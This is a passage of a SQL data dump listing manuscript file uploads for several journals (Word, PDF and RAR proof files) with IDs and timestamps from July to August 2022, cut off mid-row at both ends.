17:12:59',1,3,0),(32734,12728,'12728-Manuscript-2022-07-15-en3u.pdf',NULL,'2022-07-15 17:48:46',1,3,0),(32735,12771,'12771-Manuscript-2022-07-15-c12r.pdf',NULL,'2022-07-15 17:49:12',1,3,0),(32736,12827,'12827-Manuscript-2022-07-15-5hzc-iphsj-22-12827.rar',NULL,'2022-07-15 18:05:46',1,3,0),(32737,12860,'12860-0-Manuscript-2022-07-16.docx',NULL,'2022-07-16 12:15:21',1,1,0),(32738,12861,'12861-0-Manuscript-2022-07-16.docx',NULL,'2022-07-16 22:45:20',1,1,0),(32739,12834,'12834-Manuscript-2022-07-18-j0u2-iphsj-22-12834.rar',NULL,'2022-07-18 14:44:21',1,3,0),(32740,12842,'12842-Manuscript-2022-07-18-epni.pdf',NULL,'2022-07-18 16:57:33',1,3,0),(32741,12530,'12530-436-Manuscript-proof-submission-2022-07-18.rar',NULL,'2022-07-18 17:37:51',1,3,0),(32742,12862,'12862-0-Manuscript-2022-07-19.docx',NULL,'2022-07-19 00:03:44',1,1,0),(32743,12863,'12863-0-Manuscript-2022-07-19.docx',NULL,'2022-07-19 08:25:23',1,1,0),(32744,12864,'12864-0-Manuscript-2022-07-19.docx',NULL,'2022-07-19 17:21:01',1,1,0),(32745,12864,'12864-118-Manuscript-2022-07-19.pdf',NULL,'2022-07-19 17:22:27',1,1,0),(32746,12865,'12865-0-Manuscript-2022-07-19.docx',NULL,'2022-07-19 20:13:56',1,1,0),(32748,12530,'12530-Manuscript-2022-07-20-wa9s-iphsj-22-12530.rar',NULL,'2022-07-20 16:53:59',1,3,0),(32749,12562,'12562-141-Manuscript-proof-submission-2022-07-20.rar',NULL,'2022-07-20 17:07:58',1,3,0),(32750,12844,'12844-Manuscript-2022-07-21-6unt-graphic-completed.pdf',NULL,'2022-07-21 09:41:02',1,3,0),(32751,12843,'12843-Manuscript-2022-07-21-krof-graphic-completed.pdf',NULL,'2022-07-21 09:41:34',1,3,0),(32752,12530,'12530-Manuscript-2022-07-21-2yuq-graphic-completed.pdf',NULL,'2022-07-21 17:14:38',1,3,0),(32753,12827,'12827-Manuscript-2022-07-21-2d1z-graphic-completed.pdf',NULL,'2022-07-21 17:14:53',1,3,0),(32754,12834,'12834-Manuscript-2022-07-21-rmqp-graphic-completed.pdf',NULL,'2022-07-21 17:15:03',1,3,0),(32755,12695,'12695-1654-Manuscript-proof-submission-2022-07-22.rar',NULL,'2022-07-22 14:09:11',1,3,0),(32756,12695,'12695-1473-Manuscript-proof-submission-2022-07-22.rar',NULL,'2022-07-22 14:09:24',1,3,0),(32757,12695,'12695-Manuscript-2022-07-22-nqfv-iphsj-22-12695.rar',NULL,'2022-07-22 14:23:51',1,3,0),(32758,12845,'12845-Manuscript-2022-07-22-scju.pdf',NULL,'2022-07-22 16:02:16',1,3,0),(32759,12844,'12844-Manuscript-2022-07-22-uif9.pdf',NULL,'2022-07-22 16:02:28',1,3,0),(32760,12843,'12843-Manuscript-2022-07-22-eo54.pdf',NULL,'2022-07-22 16:02:43',1,3,0),(32761,12866,'12866-0-Manuscript-2022-07-22.docx',NULL,'2022-07-22 16:59:01',1,1,0),(32762,12845,'12845-Manuscript-2022-07-22-igzr.pdf',NULL,'2022-07-22 17:15:32',1,3,0),(32763,12844,'12844-Manuscript-2022-07-22-ohg2.pdf',NULL,'2022-07-22 17:15:46',1,3,0),(32764,12843,'12843-Manuscript-2022-07-22-grh6.pdf',NULL,'2022-07-22 17:15:58',1,3,0),(32765,12867,'12867-0-Manuscript-2022-07-22.docx',NULL,'2022-07-22 19:26:04',1,1,0),(32766,12695,'12695-Manuscript-2022-07-23-px6q-graphic-completed.pdf',NULL,'2022-07-23 12:37:15',1,3,0),(32767,12868,'12868-0-Manuscript-2022-07-24.docx',NULL,'2022-07-24 16:23:21',1,1,0),(32768,12869,'12869-0-Manuscript-2022-07-25.docx',NULL,'2022-07-25 10:17:20',1,1,0),(32769,12870,'12870-0-Manuscript-2022-07-25.docx',NULL,'2022-07-25 10:19:26',1,1,0),(32770,9419,'9419-1765-Manuscript-proof-submission-2022-07-25.rar',NULL,'2022-07-25 11:06:34',1,3,0),(32771,9420,'9420-2017-Manuscript-proof-submission-2022-07-25.rar',NULL,'2022-07-25 15:41:46',1,3,0),(32772,9421,'9421-62-Manuscript-proof-submission-2022-07-25.rar',NULL,'2022-07-25 17:06:05',1,3,0),(32773,9421,'9421-Manuscript-2022-07-26-h52a-ipfs-21-9421.rar',NULL,'2022-07-26 09:14:54',1,3,0),(32774,9420,'9420-Manuscript-2022-07-26-j3xu-ipfs-21-9420.rar',NULL,'2022-07-26 09:16:37',1,3,0),(32775,9419,'9419-Manuscript-2022-07-26-7d6s-ipfs-21-9419.rar',NULL,'2022-07-26 09:24:12',1,3,0),(32776,12324,'12324-474-Manuscript-proof-submission-2022-07-26.rar',NULL,'2022-07-26 13:25:50',1,3,0),(32777,12104,'12104-525-Manuscript-proof-submission-2022-07-26.rar',NULL,'2022-07-26 13:54:36',1,3,0),(32778,12819,'12819-313-Manuscript-proof-submission-2022-07-26.rar',NULL,'2022-07-26 13:54:59',1,3,0),(32779,12871,'12871-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 15:33:58',1,1,0),(32780,12872,'12872-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 16:47:44',1,1,0),(32781,12873,'12873-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:05:18',1,1,0),(32782,12874,'12874-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:10:10',1,1,0),(32783,12875,'12875-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:15:56',1,1,0),(32784,12177,'12177-331-Manuscript-proof-submission-2022-07-26.rar',NULL,'2022-07-26 17:18:24',1,3,0),(32785,12876,'12876-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:21:34',1,1,0),(32786,12877,'12877-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:36:27',1,1,0),(32787,12878,'12878-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:53:07',1,1,0),(32788,12879,'12879-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 17:59:37',1,1,0),(32789,12880,'12880-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 18:14:16',1,1,0),(32790,12881,'12881-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 18:24:28',1,1,0),(32791,12882,'12882-0-Manuscript-2022-07-26.docx',NULL,'2022-07-26 18:28:58',1,1,0),(32792,12883,'12883-0-Manuscript-2022-07-27.docx',NULL,'2022-07-27 08:59:19',1,1,0),(32793,12884,'12884-0-Manuscript-2022-07-27.docx',NULL,'2022-07-27 09:13:40',1,1,0),(32794,12870,'12870-482-Manuscript-proof-submission-2022-07-27.rar',NULL,'2022-07-27 10:25:22',1,3,0),(32795,12870,'12870-Manuscript-2022-07-27-kdws-ipjbs-22-12870.rar',NULL,'2022-07-27 13:11:23',1,3,0),(32796,12104,'12104-Manuscript-2022-07-27-lpu8-ipjbs-21-12104.rar',NULL,'2022-07-27 14:02:37',1,3,0),(32797,12819,'12819-Manuscript-2022-07-27-dxgb-ipjbs-22-12819.rar',NULL,'2022-07-27 14:03:16',1,3,0),(32798,12177,'12177-Manuscript-2022-07-27-oibw-ipjbs-21-12177.rar',NULL,'2022-07-27 14:03:50',1,3,0),(32799,12885,'12885-0-Manuscript-2022-07-27.docx',NULL,'2022-07-27 15:28:42',1,1,0),(32800,9183,'9183-928-Manuscript-proof-submission-2022-07-27.rar',NULL,'2022-07-27 15:54:50',1,3,0),(32801,9183,'9183-Manuscript-2022-07-27-bmod-ipfs-21-9183.rar',NULL,'2022-07-27 17:39:31',1,3,0),(32802,12886,'12886-0-Manuscript-2022-07-28.docx',NULL,'2022-07-28 13:39:27',1,1,0),(32804,12888,'12888-0-Manuscript-2022-07-28.docx',NULL,'2022-07-28 14:15:44',1,1,0),(32805,12889,'12889-0-Manuscript-2022-07-28.docx',NULL,'2022-07-28 14:42:00',1,1,0),(32806,12890,'12890-0-Manuscript-2022-07-28.docx',NULL,'2022-07-28 15:03:00',1,1,0),(32807,9422,'9422-537-Manuscript-proof-submission-2022-07-28.rar',NULL,'2022-07-28 16:51:49',1,3,0),(32808,12891,'12891-0-Manuscript-2022-07-29.docx',NULL,'2022-07-29 10:05:34',1,1,0),(32809,12242,'12242-682-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 11:42:58',1,3,0),(32810,12242,'12242-1612-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 11:43:01',1,3,0),(32811,11294,'11294-1844-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 11:45:37',1,3,0),(32812,12826,'12826-781-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 11:49:04',1,3,0),(32813,12503,'12503-798-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 13:01:24',1,3,0),(32814,12501,'12501-1421-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 13:05:36',1,3,0),(32815,12500,'12500-1597-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 13:06:42',1,3,0),(32816,12500,'12500-670-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 13:06:44',1,3,0),(32817,11294,'11294-Manuscript-2022-07-29-fd58-ipacm-21-11294.rar',NULL,'2022-07-29 14:09:35',1,3,0),(32818,12242,'12242-Manuscript-2022-07-29-snrp-ipacm-22-12242.rar',NULL,'2022-07-29 14:11:01',1,3,0),(32819,11846,'11846-916-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 14:59:37',1,3,0),(32820,12892,'12892-0-Manuscript-2022-07-29.pdf',NULL,'2022-07-29 15:07:35',1,1,0),(32821,11846,'11846-Manuscript-2022-07-29-c9jz-ipacm-21-11846.rar',NULL,'2022-07-29 15:22:48',1,3,0),(32822,12815,'12815-1702-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 15:33:21',1,3,0),(32823,12815,'12815-Manuscript-2022-07-29-5vlf-ipacm-22-12815.rar',NULL,'2022-07-29 15:48:43',1,3,0),(32824,12814,'12814-725-Manuscript-proof-submission-2022-07-29.rar',NULL,'2022-07-29 16:47:55',1,3,0),(32827,10483,'10483-693-Manuscript-proof-submission-2022-07-30.rar',NULL,'2022-07-30 11:41:27',1,3,0),(32828,12859,'12859-228-Manuscript-proof-submission-2022-07-30.zip',NULL,'2022-07-30 12:10:58',1,3,0),(32829,12814,'12814-Manuscript-2022-07-30-xqs4-ipacm-22-12814.rar',NULL,'2022-07-30 12:52:33',1,3,0),(32830,12814,'12814-Manuscript-2022-07-30-sf7y-ipacm-22-12814.rar',NULL,'2022-07-30 12:52:33',1,3,0),(32831,12895,'12895-0-Manuscript-2022-07-31.docx',NULL,'2022-07-31 00:02:21',1,1,0),(32832,12826,'12826-Manuscript-2022-08-01-iqs7-ipar-22-12826.rar',NULL,'2022-08-01 15:32:18',1,3,0),(32833,12869,'12869-654-Manuscript-proof-submission-2022-08-02.rar',NULL,'2022-08-02 09:56:36',1,3,0),(32834,12869,'12869-431-Manuscript-proof-submission-2022-08-02.rar',NULL,'2022-08-02 09:56:38',1,3,0),(32835,12503,'12503-Manuscript-2022-08-02-21rg-ipar-22-12503.rar',NULL,'2022-08-02 10:03:56',1,3,0),(32836,10483,'10483-Manuscript-2022-08-02-o1qb-ipar-21-10483.rar',NULL,'2022-08-02 10:04:53',1,3,0),(32837,12500,'12500-Manuscript-2022-08-02-3dh7-ipar-22-12500.rar',NULL,'2022-08-02 10:11:49',1,3,0),(32838,12781,'12781-876-Manuscript-proof-submission-2022-08-02.rar',NULL,'2022-08-02 10:36:08',1,3,0),(32839,12838,'12838-2006-Manuscript-proof-submission-2022-08-02.rar',NULL,'2022-08-02 10:37:49',1,3,0),(32840,12862,'12862-1026-Manuscript-proof-submission-2022-08-02.rar',NULL,'2022-08-02 10:38:37',1,3,0),(32846,12869,'12869-Manuscript-2022-08-02-fneq-ipjbs-22-12869.rar',NULL,'2022-08-02 14:13:54',1,3,0),(32847,12781,'12781-Manuscript-2022-08-02-hqfx-ipjbs-22-12781.rar',NULL,'2022-08-02 14:26:56',1,3,0),(32848,12838,'12838-Manuscript-2022-08-02-iyv3-ipjbs-22-12838.rar',NULL,'2022-08-02 14:42:54',1,3,0),(32849,12859,'12859-Manuscript-2022-08-02-bxeu-ipjnn-22-12859.rar',NULL,'2022-08-02 14:46:43',1,3,1),(32850,12862,'12862-Manuscript-2022-08-02-pm5o-ipjbs-22-12862.rar',NULL,'2022-08-02 14:54:52',1,3,0),(32851,9422,'9422-Manuscript-2022-08-02-jvfz-ipfs-21-9422.rar',NULL,'2022-08-02 15:06:25',1,3,0),(32852,12562,'12562-Manuscript-2022-08-02-itpc-IPJUS-22-12562.rar',NULL,'2022-08-02 15:25:15',1,3,0),(32853,12835,'12835-200-Manuscript-proof-submission-2022-08-02.rar',NULL,'2022-08-02 15:33:24',1,3,0),(32854,12897,'12897-0-Manuscript-2022-08-02.docx',NULL,'2022-08-02 16:35:09',1,1,0),(32855,12859,'12859-Manuscript-2022-08-02-6xep-graphic-completed.pdf',NULL,'2022-08-02 17:54:19',1,3,0),(32856,12835,'12835-Manuscript-2022-08-02-ba79-iphsj-22-12835.rar',NULL,'2022-08-02 18:15:42',1,3,0),(32857,12501,'12501-Manuscript-2022-08-03-63wj-ipar-22-12501.rar',NULL,'2022-08-03 11:38:42',1,3,0),(32858,12898,'12898-0-Manuscript-2022-08-03.docx',NULL,'2022-08-03 11:49:10',1,1,0),(32859,12885,'12885-248-Manuscript-proof-submission-2022-08-03.rar',NULL,'2022-08-03 12:15:32',1,3,0),(32860,11598,'11598-1687-Manuscript-proof-submission-2022-08-03.rar',NULL,'2022-08-03 15:51:11',1,3,0),(32861,12885,'12885-Manuscript-2022-08-03-awlu-ipjbs-22-12885.rar',NULL,'2022-08-03 15:56:08',1,3,0),(32862,11598,'11598-Manuscript-2022-08-03-5vrc-ipfs-22-11598.rar',NULL,'2022-08-03 16:48:54',1,3,0),(32863,12835,'12835-Manuscript-2022-08-03-k0lm-graphic-completed.pdf',NULL,'2022-08-03 17:13:05',1,3,0),(32864,12859,'12859-Manuscript-2022-08-03-aqlh.pdf',NULL,'2022-08-03 17:13:46',1,3,0),(32865,12840,'12840-1512-Manuscript-proof-submission-2022-08-03.rar',NULL,'2022-08-03 17:18:35',1,3,0),(32866,12899,'12899-0-Manuscript-2022-08-03.docx',NULL,'2022-08-03 17:25:44',1,1,0),(32867,12840,'12840-Manuscript-2022-08-03-d0o8-ap-team-revised.rar',NULL,'2022-08-03 17:41:27',1,3,0),(32868,12900,'12900-0-Manuscript-2022-08-04.docx',NULL,'2022-08-04 10:05:22',1,1,0),(32869,12835,'12835-Manuscript-2022-08-04-ev76.pdf',NULL,'2022-08-04 10:33:26',1,3,0),(32870,12901,'12901-0-Manuscript-2022-08-04.docx',NULL,'2022-08-04 11:01:46',1,1,0),(32871,9603,'9603-947-Manuscript-2022-08-05.pdf',NULL,'2022-08-05 21:39:02',1,1,0),(32874,12904,'12904-0-Manuscript-2022-08-08.docx',NULL,'2022-08-08 12:07:59',1,1,0),(32875,12905,'12905-0-Manuscript-2022-08-08.docx',NULL,'2022-08-08 13:36:00',1,1,0),(32876,12906,'12906-0-Manuscript-2022-08-08.docx',NULL,'2022-08-08 16:48:13',1,1,0),(32877,12899,'12899-1617-Manuscript-proof-submission-2022-08-08.rar',NULL,'2022-08-08 16:51:45',1,3,0),(32878,12907,'12907-0-Manuscript-2022-08-08.docx',NULL,'2022-08-08 16:55:03',1,1,0),(32879,12908,'12908-0-Manuscript-2022-08-09.docx',NULL,'2022-08-09 10:46:11',1,1,0),(32881,12900,'12900-586-Manuscript-proof-submission-2022-08-09.rar',NULL,'2022-08-09 11:46:23',1,3,0),(32882,9436,'9436-874-Manuscript-proof-submission-2022-08-09.rar',NULL,'2022-08-09 12:15:19',1,3,0),(32883,12899,'12899-Manuscript-2022-08-09-y2k3-ipjbs-22-12899.rar',NULL,'2022-08-09 13:49:48',1,3,0),(32884,12910,'12910-0-Manuscript-2022-08-09.docx',NULL,'2022-08-09 14:43:32',1,1,0),(32885,12910,'12910-1-Manuscript-2022-08-09.docx',NULL,'2022-08-09 14:43:32',1,1,0),(32886,12910,'12910-2-Manuscript-2022-08-09.docx',NULL,'2022-08-09 14:43:32',1,1,0),(32887,12910,'12910-3-Manuscript-2022-08-09.docx',NULL,'2022-08-09 14:43:32',1,1,0),(32888,12910,'12910-4-Manuscript-2022-08-09.docx',NULL,'2022-08-09 14:43:32',1,1,0),(32889,10975,'10975-961-Manuscript-proof-submission-2022-08-09.rar',NULL,'2022-08-09 15:06:11',1,3,0),(32890,10975,'10975-1220-Manuscript-proof-submission-2022-08-09.rar',NULL,'2022-08-09 15:06:51',1,3,0),(32891,12900,'12900-Manuscript-2022-08-09-91oi-ipfs-22-12900.rar',NULL,'2022-08-09 16:13:16',1,3,0),(32892,9436,'9436-Manuscript-2022-08-09-1hak-ipfs-21-9436.rar',NULL,'2022-08-09 16:23:38',1,3,0),(32893,10975,'10975-Manuscript-2022-08-09-v3bp-ipfs-22-10975.rar',NULL,'2022-08-09 16:52:10',1,3,0),(32894,12911,'12911-0-Manuscript-2022-08-09.docx',NULL,'2022-08-09 17:29:01',1,1,0),(32895,11280,'11280-1522-Manuscript-proof-submission-2022-08-09.rar',NULL,'2022-08-09 18:21:39',1,3,0),(32896,12912,'12912-0-Manuscript-2022-08-09.docx',NULL,'2022-08-09 21:15:16',1,1,0),(32897,12912,'12912-1-Manuscript-2022-08-09.docx',NULL,'2022-08-09 21:15:16',1,1,0),(32898,12912,'12912-2-Manuscript-2022-08-09.docx',NULL,'2022-08-09 21:15:16',1,1,0),(32899,12912,'12912-3-Manuscript-2022-08-09.docx',NULL,'2022-08-09 21:15:16',1,1,0),(32900,11280,'11280-Manuscript-2022-08-10-19vj-ipfs-21-11280.rar',NULL,'2022-08-10 09:42:56',1,3,0),(32901,11280,'11280-Manuscript-2022-08-10-7cwj-ipfs-21-11280.rar',NULL,'2022-08-10 09:42:57',1,3,0),(32902,12913,'12913-0-Manuscript-2022-08-10.docx',NULL,'2022-08-10 11:36:39',1,1,0),(32903,12914,'12914-0-Manuscript-2022-08-10.docx',NULL,'2022-08-10 11:41:11',1,1,0),(32905,12840,'12840-Manuscript-2022-08-10-iyxg-graphic-completed.pdf',NULL,'2022-08-10 14:53:11',1,3,0),(32906,12898,'12898-593-Manuscript-proof-submission-2022-08-10.rar',NULL,'2022-08-10 15:24:44',1,3,0),(32907,12897,'12897-508-Manuscript-proof-submission-2022-08-11.rar',NULL,'2022-08-11 11:01:35',1,3,0),(32908,12897,'12897-348-Manuscript-proof-submission-2022-08-11.rar',NULL,'2022-08-11 11:03:08',1,3,0),(32909,12897,'12897-1771-Manuscript-proof-submission-2022-08-11.rar',NULL,'2022-08-11 11:03:53',1,3,0),(32910,12916,'12916-0-Manuscript-2022-08-11.docx',NULL,'2022-08-11 13:12:08',1,1,0),(32911,12917,'12917-0-Manuscript-2022-08-11.docx',NULL,'2022-08-11 16:36:30',1,1,0),(32912,12918,'12918-0-Manuscript-2022-08-12.pdf',NULL,'2022-08-12 10:03:07',1,1,0),(32913,10483,'10483-Manuscript-2022-08-12-r80k-graphic-completed.pdf',NULL,'2022-08-12 10:58:14',1,3,0),(32914,12500,'12500-Manuscript-2022-08-12-bpx0-graphic-completed.pdf',NULL,'2022-08-12 10:58:29',1,3,0),(32915,12501,'12501-Manuscript-2022-08-12-7jm5-graphic-completed.pdf',NULL,'2022-08-12 10:58:42',1,3,0),(32916,12503,'12503-Manuscript-2022-08-12-0r69-graphic-completed.pdf',NULL,'2022-08-12 10:58:53',1,3,0),(32917,12826,'12826-Manuscript-2022-08-12-4nk8-graphic-completed.pdf',NULL,'2022-08-12 10:59:07',1,3,0),(32918,12897,'12897-Manuscript-2022-08-12-gqpj-ipacm-22-12897.rar',NULL,'2022-08-12 11:21:15',1,3,0),(32919,12898,'12898-Manuscript-2022-08-12-z1fe-ipacm-22-12898.rar',NULL,'2022-08-12 11:28:21',1,3,0),(32920,12919,'12919-0-Manuscript-2022-08-12.docx',NULL,'2022-08-12 13:29:50',1,1,0),(32921,12919,'12919-1-Manuscript-2022-08-12.docx',NULL,'2022-08-12 13:29:50',1,1,0),(32922,12919,'12919-2-Manuscript-2022-08-12.docx',NULL,'2022-08-12 13:29:50',1,1,0),(32923,12920,'12920-0-Manuscript-2022-08-12.docx',NULL,'2022-08-12 14:21:04',1,1,0),(32924,12921,'12921-0-Manuscript-2022-08-12.docx',NULL,'2022-08-12 14:29:15',1,1,0),(32925,12922,'12922-0-Manuscript-2022-08-12.docx',NULL,'2022-08-12 14:33:54',1,1,0),(32926,12923,'12923-0-Manuscript-2022-08-12.pdf',NULL,'2022-08-12 18:13:37',1,1,0),(32927,12662,'12662-536-Manuscript-proof-submission-2022-08-12.rar',NULL,'2022-08-12 18:15:30',1,3,0),(32928,11294,'11294-Manuscript-2022-08-12-sazp-graphic-completed.pdf',NULL,'2022-08-12 18:41:02',1,3,0),(32929,11846,'11846-Manuscript-2022-08-12-5m9w-graphic-completed.pdf',NULL,'2022-08-12 18:41:14',1,3,0),(32930,12242,'12242-Manuscript-2022-08-12-604h-graphic-completed.pdf',NULL,'2022-08-12 18:41:27',1,3,0),(32931,12814,'12814-Manuscript-2022-08-12-5h28-graphic-completed.pdf',NULL,'2022-08-12 18:41:41',1,3,0),(32932,12815,'12815-Manuscript-2022-08-12-x8nu-graphic-completed.pdf',NULL,'2022-08-12 18:41:54',1,3,0),(32933,12924,'12924-0-Manuscript-2022-08-12.docx',NULL,'2022-08-12 22:36:01',1,1,0),(32934,12925,'12925-0-Manuscript-2022-08-15.docx',NULL,'2022-08-15 09:57:11',1,1,0),(32935,12926,'12926-0-Manuscript-2022-08-16.docx',NULL,'2022-08-16 09:35:33',1,1,0),(32936,12865,'12865-1848-Manuscript-proof-submission-2022-08-16.rar',NULL,'2022-08-16 11:06:24',1,3,0),(32937,12892,'12892-674-Manuscript-proof-submission-2022-08-16.rar',NULL,'2022-08-16 11:23:09',1,3,0),(32938,12104,'12104-Manuscript-2022-08-16-sjzw-graphic-completed.pdf',NULL,'2022-08-16 11:42:43',1,3,0),(32939,12177,'12177-Manuscript-2022-08-16-p08l-graphic-completed.pdf',NULL,'2022-08-16 11:42:55',1,3,0),(32940,12885,'12885-Manuscript-2022-08-16-ni8f-graphic-completed.pdf',NULL,'2022-08-16 11:45:12',1,3,0),(32941,12819,'12819-Manuscript-2022-08-16-2f0n-graphic-completed.pdf',NULL,'2022-08-16 12:32:29',1,3,0),(32942,12870,'12870-Manuscript-2022-08-16-ex2q-graphic-completed.pdf',NULL,'2022-08-16 12:33:02',1,3,0),(32943,12869,'12869-Manuscript-2022-08-16-8wn5-graphic-completed.pdf',NULL,'2022-08-16 12:33:34',1,3,0),(32944,12781,'12781-Manuscript-2022-08-16-h3mt-graphic-completed.pdf',NULL,'2022-08-16 12:34:24',1,3,0),(32945,12862,'12862-Manuscript-2022-08-16-f9s4-graphic-completed.pdf',NULL,'2022-08-16 13:27:43',1,3,0),(32946,12838,'12838-Manuscript-2022-08-16-wcyh-graphic-completed.pdf',NULL,'2022-08-16 13:46:46',1,3,0),(32947,12899,'12899-Manuscript-2022-08-16-twr6-graphic-completed.pdf',NULL,'2022-08-16 13:55:30',1,3,0),(32948,12884,'12884-262-Manuscript-proof-submission-2022-08-16.rar',NULL,'2022-08-16 15:18:34',1,3,0),(32949,12884,'12884-1248-Manuscript-proof-submission-2022-08-16.rar',NULL,'2022-08-16 15:26:44',1,3,0),(32950,12897,'12897-Manuscript-2022-08-16-eyv4-graphic-completed.pdf',NULL,'2022-08-16 15:46:49',1,3,0),(32951,12898,'12898-Manuscript-2022-08-16-71cl-graphic-completed.pdf',NULL,'2022-08-16 15:47:02',1,3,0),(32952,12865,'12865-Manuscript-2022-08-16-yc3r-ijddr-22-12865.rar',NULL,'2022-08-16 17:22:56',1,3,0),(32953,12104,'12104-Manuscript-2022-08-17-m1i6.pdf',NULL,'2022-08-17 10:09:47',1,3,0),(32954,12781,'12781-Manuscript-2022-08-17-ykix.pdf',NULL,'2022-08-17 10:13:05',1,3,0),(32955,12177,'12177-Manuscript-2022-08-17-dp2t.pdf',NULL,'2022-08-17 10:16:04',1,3,0),(32956,12819,'12819-Manuscript-2022-08-17-a8fv.pdf',NULL,'2022-08-17 10:18:24',1,3,0),(32957,12862,'12862-Manuscript-2022-08-17-i9s6.pdf',NULL,'2022-08-17 10:24:41',1,3,0),(32958,12870,'12870-Manuscript-2022-08-17-8znl.pdf',NULL,'2022-08-17 10:26:48',1,3,0),(32959,12899,'12899-Manuscript-2022-08-17-7sjw.pdf',NULL,'2022-08-17 10:28:57',1,3,0),(32960,12885,'12885-Manuscript-2022-08-17-pl59.pdf',NULL,'2022-08-17 10:31:25',1,3,0),(32961,12869,'12869-Manuscript-2022-08-17-s8k4.pdf',NULL,'2022-08-17 10:34:00',1,3,0),(32962,12838,'12838-Manuscript-2022-08-17-c27y.pdf',NULL,'2022-08-17 10:38:48',1,3,0),(32964,12862,'12862-Manuscript-2022-08-17-of5b-ap-ame-q2-accepted-file.pdf',NULL,'2022-08-17 10:46:46',1,3,0),(32966,12929,'12929-0-Manuscript-2022-08-17.docx',NULL,'2022-08-17 11:36:12',1,1,0),(32967,12836,'12836-48-Manuscript-proof-submission-2022-08-17.rar',NULL,'2022-08-17 12:11:18',1,3,0),(32968,12930,'12930-0-Manuscript-2022-08-17.docx',NULL,'2022-08-17 12:28:10',1,1,0),(32970,12892,'12892-Manuscript-2022-08-17-lntx-ijddr-22-12892.rar',NULL,'2022-08-17 13:44:25',1,3,0),(32971,12932,'12932-0-Manuscript-2022-08-17.docx',NULL,'2022-08-17 14:22:43',1,1,0),(32972,12933,'12933-0-Manuscript-2022-08-17.docx',NULL,'2022-08-17 15:26:08',1,1,0),(32973,12934,'12934-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 00:19:52',1,1,0),(32974,9422,'9422-Manuscript-2022-08-18-wugh-graphic-completed.pdf',NULL,'2022-08-18 12:15:10',1,3,0),(32975,9183,'9183-Manuscript-2022-08-18-unx4-graphic-completed.pdf',NULL,'2022-08-18 13:15:45',1,3,0),(32976,12697,'12697-1761-Manuscript-proof-submission-2022-08-18.rar',NULL,'2022-08-18 13:47:49',1,3,0),(32977,12922,'12922-1783-Manuscript-proof-submission-2022-08-18.rar',NULL,'2022-08-18 13:54:51',1,3,0),(32978,12921,'12921-1476-Manuscript-proof-submission-2022-08-18.rar',NULL,'2022-08-18 13:55:37',1,3,0),(32979,12920,'12920-151-Manuscript-proof-submission-2022-08-18.rar',NULL,'2022-08-18 13:56:15',1,3,0),(32980,12917,'12917-528-Manuscript-proof-submission-2022-08-18.rar',NULL,'2022-08-18 13:56:43',1,3,0),(32981,12916,'12916-274-Manuscript-proof-submission-2022-08-18.rar',NULL,'2022-08-18 13:57:12',1,3,0),(32982,12935,'12935-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 14:25:25',1,1,0),(32983,12920,'12920-Manuscript-2022-08-18-jqts-ipacr-22-12920.rar',NULL,'2022-08-18 14:41:25',1,3,0),(32984,12936,'12936-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 14:50:05',1,1,0),(32986,9421,'9421-Manuscript-2022-08-18-bsy8-graphic-completed.pdf',NULL,'2022-08-18 14:58:16',1,3,0),(32987,9420,'9420-Manuscript-2022-08-18-wude-graphic-completed.pdf',NULL,'2022-08-18 14:58:24',1,3,0),(32988,9419,'9419-Manuscript-2022-08-18-lp70-graphic-completed.pdf',NULL,'2022-08-18 14:58:31',1,3,0),(32989,12922,'12922-Manuscript-2022-08-18-5bhe-ipacr-22-12922.rar',NULL,'2022-08-18 15:00:56',1,3,0),(32990,9436,'9436-Manuscript-2022-08-18-tr40-graphic-completed.pdf',NULL,'2022-08-18 15:09:08',1,3,0),(32991,11280,'11280-Manuscript-2022-08-18-mw61-graphic-completed.pdf',NULL,'2022-08-18 15:09:28',1,3,0),(32992,12938,'12938-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 15:35:11',1,1,0),(32993,12697,'12697-Manuscript-2022-08-18-fz2l-iphsj-22-12697.rar',NULL,'2022-08-18 16:41:33',1,3,0),(32994,12836,'12836-Manuscript-2022-08-18-ikqw-iphsj-22-12836.rar',NULL,'2022-08-18 16:46:17',1,3,0),(32995,12921,'12921-Manuscript-2022-08-18-zqk4-ipacr-22-12921.rar',NULL,'2022-08-18 16:57:05',1,3,0),(32996,12917,'12917-Manuscript-2022-08-18-6qlf-ipacr-22-12917.rar',NULL,'2022-08-18 17:10:23',1,3,0),(32997,12916,'12916-Manuscript-2022-08-18-gzyq-ipacr-22-12916.rar',NULL,'2022-08-18 17:18:02',1,3,0),(32998,12939,'12939-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 17:29:06',1,1,0),(32999,12940,'12940-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 17:49:02',1,1,0),(33000,12941,'12941-0-Manuscript-2022-08-18.docx',NULL,'2022-08-18 17:57:16',1,1,0),(33001,11479,'11479-416-Manuscript-proof-submission-2022-08-18.pdf',NULL,'2022-08-18 18:01:52',1,3,0),(33004,12825,'12825-82-Manuscript-proof-submission-2022-08-18.zip',NULL,'2022-08-18 18:16:14',1,3,0),(33005,11479,'11479-Manuscript-2022-08-19-i6g5-ipadm-21-11479.zip',NULL,'2022-08-19 